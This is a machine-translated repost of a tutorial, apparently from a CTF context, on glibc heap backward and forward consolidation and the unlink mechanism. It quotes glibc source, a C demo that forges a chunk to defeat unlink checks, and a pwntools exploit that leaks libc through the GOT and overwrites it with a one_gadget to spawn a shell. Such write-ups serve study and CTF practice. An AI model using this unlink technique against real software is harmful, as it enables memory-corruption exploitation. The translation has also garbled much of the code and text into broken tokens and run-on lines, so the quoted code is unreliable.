In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-03-26 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
Today, I will talk to you about how to merge Glibc blocks forward and backward and explore the principle and mechanism of unlink. Many people may not know much about it. In order to make you understand better, the editor has summarized the following content for you. I hope you can get something according to this article.
Unlink is the operation of unloading the free lost chunk from the bins chain to which it belongs (including a series of detection mechanisms, of course). It is caused by the backward merging or forward merging made after the free drops a piece of chunk (except the fastbin-sized chunk), and the glibc checks the free status of the upper and lower pieces of chunk adjacent to the chunk.
Merge forward and backward
P is the pointer to the chunk dropped by free (note that it's not the pointer to data, it's chunk), and size is the size of this chunk.
/ * consolidate backward * / 4277 if (! prev_inuse (p)) {4278 prevsize = prev_size (p); 4279 size + = prevsize;4280 p = chunk_at_offset (p,-((long) prevsize)); 4281 unlink (av, p, bck, fwd) 4282} 4283 4284 if (nextchunk! = av- > top) {4285 / * get and clear inuse bit * / 4286 nextinuse = inuse_bit_at_offset (nextchunk, nextsize); 4287 4288 / * consolidate forward * / 4289 if (! nextinuse) {4290 unlink (av, nextchunk, bck, fwd); 4291 size + = nextsize 4292} else4293 clear_inuse_bit_at_offset (nextchunk, 0); 42944295 / * 4296 Place the chunk in unsorted chunk list. Chunks are4297 not placed into regular bins until after they have4298 been given one chance to be used in malloc.4299 * / 4300 4301 bck = unsorted_chunks (av); 4302 fwd = bck- > fd;4303 if (_ _ glibc_unlikely (fwd- > bk! = bck)) 4304 malloc_printerr ("free (): corrupted unsorted chunks") 4305 p-> fd = fwd;4306 p-> bk = bck;4307 if (! in_smallbin_range (size)) 4308 {4309 p-> fd_nextsize = NULL;4310 p-> bk_nextsize = NULL;4311} 4312 bck- > fd = p43ter13 fwd- > bk = p 4314 4315 set_head (p, size | PREV_INUSE); 4316 set_foot (p, size); 4317 4318 check_free_chunk (av, p) 4319} 4320 4321 / * 4322 If the chunk borders the current high end of memory,4323 consolidate into top4324 * / 4325 4326 else {4327 size + = nextsize;4328 set_head (p, size | PREV_INUSE); 4329 av- > top = pterit4330 check_chunk (av, p) 4331} merge backward
The code for the backward merge section is on lines 4277-4282.
Backward merge process:
Check whether the pre_inuse bit of p points to the size field of chunk is 0 (that is, check whether the previous chunk of the current chunk is free, and if so, enter the process of merging forward)
Get the size of the previous chunk and add it to the size (to indicate that the size size has been merged)
Get the pointer to the previous chunk according to the presize of the current chunk
Pass this pointer to the unlink macro (that is, let the previous chunk of the chunk dropped by free enter the unlink process)
Merge forward
If the next chunk adjacent to the chunk dropped by free (denoted by nextchunk below, and nextsize represents its size) is not topchunk and is free, then enter the process of merging forward. (see lines 4284-4289)
If nextchunk is not free, modify the pre_inuse bit of his size field.
Merge with topchunk if nextchunk is topchunk.
Ps: checking whether the nextchunk is free is achieved by obtaining the presize bit of the size field of the next adjacent block of chunk of the nextchunk through inuse_bit_at_offset (nextchunk, nextsize).
Forward merge process (see code 4290-4291):
Let nextchunk into the unlink process
Add nextsize to size (similarly, it means that the two chunk in size have been merged)
Unlink
Unlink is a macro, but use bk and fd as variables when reading the code.
Ps:p is a pointer to chunk.
# define unlink (AV, P, BK, FD) {if (_ _ builtin_expect (chunksize (P)! = prev_size (next_chunk (P)), 0)) malloc_printerr ("corrupted size vs. Prev_size"); FD = P-> fd BK = P-> bk If (_ _ builtin_expect (FD- > bk! = P | | BK- > fd! = P, 0) malloc_printerr ("corrupted double-linked list") Else {FD- > bk = BK; BK- > fd = FD If (! in_smallbin_range (chunksize_nomask (P)) & & _ builtin_expect (P-> fd_nextsize! = NULL) 0) {if (_ _ builtin_expect (P-> fd_nextsize- > bk_nextsize! = P, 0) | _ _ builtin_expect (P-> bk_nextsize- > fd_nextsize! = P, 0)) malloc_printerr ("corrupted double-linked list (not small)") If (FD- > fd_nextsize = = NULL) {if (P-> fd_nextsize = = P) FD- > fd_nextsize = FD- > bk_nextsize = FD Else {FD- > fd_nextsize = P-> fd_nextsize; FD- > bk_nextsize = P-> bk_nextsize P-> fd_nextsize- > bk_nextsize = FD; P-> bk_nextsize- > fd_nextsize = FD }} else {P-> fd _ nextsize- > bk_nextsize = P-> bk_nextsize P-> bk_nextsize- > fd_nextsize = P-> fd_nextsize }}\} }
Check whether the size field of the current chunk is the same as the pre_size recorded in the next chunk adjacent to it. If it is not the same, an error of corrupted size vs. Prev_size occurs.
Check whether p-> fd- > bk==p and p-> bk- > fd==p are satisfied, otherwise corrupted double-linked list, error occurs.
Unlink operation: fd- > bk=bk and bk- > fd=fd (anyone who has studied cyclic double linked list can understand it)
Here is accompanied by a picture of CTFwiki: the following code is actually a series of detection and processing mechanisms for largechunk, which can be ignored here. Generally, smallchunk is used in actual combat.
The above is the operation of unlink, which is essentially a security check before unlinking from the bin chain managed by glibc (to prevent it from being used).
So what did unlink do after that?
Organize the chunk structure and put it into the unsortedbin
Whether you merge forward or backward, you get lines 4301-4318 after unlink.
What you actually do is add the merged chunk to the first unsorted bin
And if this chunk is the size of samll chunk, it doesn't have fd_nextsize or bk_nextsize.
Then set the header of the merged chunk (set the merged size, the pre_size field of the next chunk of the merged chunk)
Unlink Demo debugging verification
The theory has been discussed above, butTalk is cheap,Debug is real! Let's start with a little demo and feel it with the above principle.
# include # include struct chunk_structure {size_t prev_size; size_t size; struct chunk_structure * fd; struct chunk_structure * bk; char buf [10]; / / padding}; int main () {unsigned long long * chunk1, * chunk2; struct chunk_structure * fake_chunk, * chunk2_hdr; char data [20]; / / First grab two chunks (non fast) chunk1 = malloc (0x80); chunk2 = malloc (0x80) Printf ("% p\ n", & chunk1); printf ("% p\ n", chunk1); printf ("% p\ n", chunk2); / / Assuming attacker has control over chunk1's contents / / Overflow the heap, override chunk2's header / / First forge a fake chunk starting at chunk1 / / Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *) chunk1; fake_chunk- > fd = (struct chunk_structure *) (& chunk1-3) / / Ensures P-> fd- > bk = = P fake_chunk- > bk = (struct chunk_structure *) (& chunk1-2); / / Ensures P-> bk- > fd = = P / / Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *) (chunk2-2); chunk2_hdr- > prev_size = 0x80; / / chunk1's data region size chunk2_hdr- > size & = ~ 1 / / Unsetting prev_in_use bit / / Now, when chunk2 is freed, attacker's fake chunk is' unlinked' / / This results in chunk1 pointer pointing to chunk1-3 / / i.e. Chunk1 [3] now contains chunk1 itself. / / We then make chunk1 point to some victim's data free (chunk2); printf ("% p\ n", chunk1); printf ("% x\ n", chunk1 [3]); chunk1 [3] = (unsigned long long) data; strcpy (data, "Victim's data"); / / Overwrite victim's data using chunk1 chunk1 [0] = 0x002164656b636168L; printf ("% s\ n", data); return 0;}
Ps:** assumes in this Demo that the data content of the chun1 is controllable by the attacker and can be overflowed and modified to the following chunk
Malloc two chunk first, and then look at their address
Then forge a chunk in chunk1 to make fake_chunk- > fd- > bk==fakechunk and fake_chunk- > bd- > fd==fake_chunk to avoid corrupted double-linked list detection.
Because if you want to make fake_chunk- > fd- > bk==fakechunk, if you want to make the variables containing the address of chunk1 in fake_chunk- > fd offset 0x18 upwards, similarly, fake_chunk- > bk should also offset 0x10 on the Internet. Then modify the presize field of chunk2 to 0x80, which is the data size of chunk1 (used to avoid corrupted size vs. Prev_size detection), and the preinuse bit of size field is 0 (), so as to achieve the mechanism of deceiving glibc, so that the first chunk (that is, chunk1) of chunk2 is free, and meets all the security mechanisms of unlink. At this point, if free drops chunk2, it will trigger a backward merge. Take a look at chunk1 and chunk2. And fully constructed. Next, free (chunk2) triggers the unlink. After the trigger
The content of chunk1 has become & chunk1-3.
This is because fake_chunk- > bk- > fd=fake_chunk- > fd, fake_chunk- > bk- > fd refers to chunk1, while fake_chunk- > fd refers to & chunk1-0x10. So after a unlink, the address of & chunk1-0x10 is stored in the chunk1.
Look at the content inside: the place where the line is drawn is the content stored in chunk2, which is undoubtedly something on the stack. And its first 8-byte storage is the address 0x00007fffffffdcb8 stored in chunk1, right? calculate the address yourself, isn't it & chunk1-0x18?
After principle exploration and demo debugging, I already have a feeling for unlink in my heart. Let's ask a question and practice should be no problem.
Find a question on the Internet and drag it into ida to have a look.
The main menu is shown in the picture. The key parts are: * * add * *, * * delete * *, * * display * *, * * edit * *
* * add * *:
You can add a total of 99 chunk, then according to the input lenth (unlimited length), then request memory and record it in the global variable, and the lenth is also recorded in the global variable, and then read the contents into memory.
* * Delete * *:
Drop the corresponding block according to the input index,free, and clear the recorded address and lenth. There seems to be no uaf.
* * display * *:
Directly traverse the array of global variables and print the contents of the corresponding memory, which can be used to disclose the address.
* * Edit * *:
Modify the contents of the chunk according to the input index and lenth. (lenth is under our own control, so there are overflow modifications)
To sum up, the train of thought of choice is:
Construct two adjacent blocks to realize the operation of unlink.
At that time, we should pay attention to the detection conditions of unlink, so we applied for 4 consecutive chunk, and the chunk with index of 1 and 2 was used to construct the chunk needed for Unlink.
After unlink, a pointer variable with an index of 2 points to his address-0x18. Then through edit index2, modify the contents of the global variable array to the address of the got table, thus leaking, and then check the library, and then make good use of it. I am using one_gadget to overwrite the got table of puts.
* * exp**:
`
From pwn import *
Context.log_level= "debug"
Def add (len,content):
P.recvuntil ("choice:")
P.send ("2")
P.recvuntil ("name:")
P.send (str (len))
P.recvuntil ("servant:")
P.send (content)
Def change (index,len,content):
P.recvuntil ("choice:")
P.send ("3")
P.recvuntil ("servant:")
P.send (str (index))
P.recvuntil ("name:")
P.send (str (len))
P.recvuntil ("servnat:")
P.send (content)
Def free (index):
P.recvuntil (:)
P.send ("4")
P.recvuntil ("servant:")
P.send (str (index))
Def show ():
P.recvuntil ("ce:")
P.send ("1")
Libc=ELF ("libc.so")
Puts_got=0x602020
Free_got=0x602018
Binsh= "/ bin/sh"
Ptr=0x6020e8
P=process (". / pwn13")
Add (0xf0, "aaa")
Add (0xf0, "bbb")
Add (0xf0, "ccc")
Add (0xf0, "ddd")
Change (2p64 (0x110) + p64 (0xf1) + p64 (ptr-0x18) + p64 (ptr-0x10) + (0xf8-0x28) * "a" + p64 (0xf0) + p64 (0xf0))
Change (0Pol 0x100, "a" * 0xf8+p64 (0x111))
Free (1)
Change (2p64 (0xf0) + p64 (free_got))
Show ()
P.recvuntil ("1:")
Free_addr=u64 (p.recv (6) .ljust (8Jing'0')
Print "free:" + hex (free_addr)
One_gadet=free_addr-libc.symbols ['free'] + 0x45216
Puts_addr=free_addr-libc.symbols ['free'] + libc.symbols [' puts']
Change (1Jing 0x16jue p64 (puts_addr) + p64 (one_gadet))
P.interactive ()
After reading the above, do you have any further understanding of how to merge Glibc blocks forward and backward and explore the principle and mechanism of unlink? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.